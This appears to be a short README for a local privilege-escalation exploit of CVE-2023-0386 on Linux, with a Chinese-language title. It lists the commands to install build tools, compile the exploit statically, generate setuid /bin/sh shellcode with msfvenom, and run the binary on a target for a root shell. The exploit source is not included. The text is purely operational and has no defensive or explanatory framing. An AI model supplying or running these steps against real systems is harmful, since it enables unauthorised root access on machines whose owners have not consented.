
CVE-2023-0386 包含所需运行库
Install compilation environment
sudo apt install -y gcc libfuse-dev pkg-config
Compile exploit
gcc -Wall CVE-2023-0386.c `pkg-config fuse --cflags --libs` -D_FILE_OFFSET_BITS=64 -o CVE-2023-0386-exp -static -lfuse
Generate shellcode
msfvenom -p linux/x86/exec CMD=/bin/sh PrependSetuid=True -f elf -o shellcode.elf && xxd -i -c 8 shellcode.elf
xxd -i -c 8 shellcode.elf
Execute on target, no need to install gcc or other environment on the target
chmod +x CVE-2023-0386-exp && ./CVE-2023-0386-exp